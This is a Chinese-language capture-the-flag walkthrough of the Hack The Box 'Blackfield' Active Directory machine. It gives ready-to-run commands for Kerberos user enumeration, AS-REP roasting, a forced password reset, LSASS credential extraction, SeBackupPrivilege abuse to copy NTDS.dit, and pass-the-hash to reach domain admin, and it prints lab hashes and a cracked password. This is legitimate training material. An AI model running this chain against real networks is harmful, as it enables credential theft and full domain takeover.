AD-Blackfield详解
字数 1730 2025-08-11 21:26:12
Blackfield域渗透靶机详细教学文档
0x00 靶机概述
Blackfield是Hack The Box平台上的一个Active Directory 101系列靶机,难度为困难级别。本靶机展示了多种域渗透技术,包括:
- SMB共享枚举
- Kerberos用户枚举
- AS-REP Roasting攻击
- Bloodhound信息收集
- ForceChangePassword权限滥用
- LSASS内存转储分析
- SeBackupPrivilege权限滥用
- NTDS.dit提取与破解
- Pass-the-Hash攻击
0x01 初始信息收集
端口扫描
使用nmap进行初始扫描:
nmap -sV -sC 10.10.10.192
关键开放端口:
- 53/tcp - DNS服务
- 88/tcp - Kerberos服务
- 135/tcp - MSRPC
- 139/tcp - NetBIOS
- 389/tcp - LDAP
- 445/tcp - SMB
- 593/tcp - RPC over HTTP
- 3268/tcp - 全局目录LDAP
DNS枚举
尝试AXFR区域传输:
dig axfr blackfield.local@10.10.10.192
(失败,现代AD通常禁用此功能)
Kerberos枚举
使用kerbrute进行用户枚举:
kerbrute userenum --dc 10.10.10.192 -d blackfield.local /usr/share/seclists/Usernames/top-usernames-shortlist.txt
0x02 SMB共享枚举
使用crackmapexec和smbmap
crackmapexec smb 10.10.10.192 -u "" -p "" --shares
smbmap -u guess -H 10.10.10.192
发现两个非默认共享:
- forensic (初始无法访问)
- profiles$ (可匿名访问)
提取潜在用户名
访问profiles$共享并提取用户名:
smbclient -U guest //10.10.10.192/profiles\$ -c ls | awk '{print $1}'|sort|uniq > users.txt
验证有效用户
使用kerbrute验证提取的用户名:
kerbrute userenum --dc 10.10.10.192 -d blackfield.local users.txt
发现三个有效用户:
- support
- audit2020
- svc_backup
0x03 AS-REP Roasting攻击
查找无需预认证的用户
GetNPUsers.py -no-pass -dc-ip 10.10.10.192 blackfield.local/ -usersfile valid_users.txt
发现support用户未设置Kerberos预认证,获取其AS-REP哈希。
破解哈希
保存哈希到文件并使用hashcat破解:
hashcat -m 18200 supporthash /root/rockyou.txt --force
成功获取明文密码:#00^BlackKnight
0x04 Bloodhound信息收集
使用Bloodhound收集域信息:
python bloodhound.py -c all -u support -p '#00^BlackKnight' -d blackfield.local -ns 10.10.10.192
关键发现:
- support用户有权修改audit2020用户的密码
0x05 ForceChangePassword权限滥用
修改audit2020用户密码
使用rpcclient:
rpcclient -U support //10.10.10.192
rpcclient $> setuserinfo2 audit2020 23 'ncxw1234#'
验证新凭据
crackmapexec smb 10.10.10.192 -u audit2020 -p 'ncxw1234#'
访问forensic共享
smbmap -H 10.10.10.192 -u audit2020 -p 'ncxw1234#'
smbclient -U audit2020%'ncxw1234#' //10.10.10.192/forensic
发现关键文件:
- domain_admins.txt (包含疑似管理员密码)
- lsass.zip (LSASS内存转储)
0x06 LSASS内存转储分析
使用pypykatz提取凭据
pypykatz lsa minidump lsass.DMP
提取到svc_backup用户的NTLM哈希:
9658d1d1dcd9250115e2205d9f48400d
0x07 SeBackupPrivilege权限滥用
验证权限
whoami /priv
确认拥有SeBackupPrivilege权限
创建NTDS.dit卷影副本
- 创建script.txt文件:
set context persistent nowriters
add volume c: alias someAlias
create
expose %someAlias% w:
- 执行diskshadow:
diskshadow /s script.txt
- 上传必要DLL文件:
upload SeBackupPrivilegeCmdLets.dll
upload SeBackupPrivilegeUtils.dll
- 复制NTDS.dit和SYSTEM hive:
Copy-FileSeBackupPrivilege w:\windows\NTDS\ntds.dit ntds.dit -Overwrite
reg save HKLM\SYSTEM system.hive
- 下载文件到本地:
download ntds.dit
download system.hive
提取域哈希
使用secretsdump.py:
secretsdump.py LOCAL -system system.hive -ntds ntds.dit -outputfile secretsdump.out
获取管理员NTLM哈希:
aad3b435b51404eeaad3b435b51404ee:184fb5e5178480be64824d4cd53b99ee
0x08 Pass-the-Hash攻击
使用wmiexec.py进行哈希传递:
wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:184fb5e5178480be64824d4cd53b99ee blackfield.LOCAL/administrator@10.10.10.192
成功获取域管理员权限。
0x09 技术总结
- 初始枚举:通过SMB共享获取潜在用户名列表
- 用户验证:使用kerbrute验证有效用户
- AS-REP Roasting:利用未设置预认证的账户获取哈希并破解
- 权限滥用:利用support用户修改audit2020密码
- 信息收集:通过forensic共享获取LSASS转储
- 凭据提取:从LSASS转储获取svc_backup哈希
- 特权提升:利用SeBackupPrivilege获取NTDS.dit
- 域哈希提取:从NTDS.dit提取所有用户哈希
- 最终控制:通过哈希传递获取域管理员权限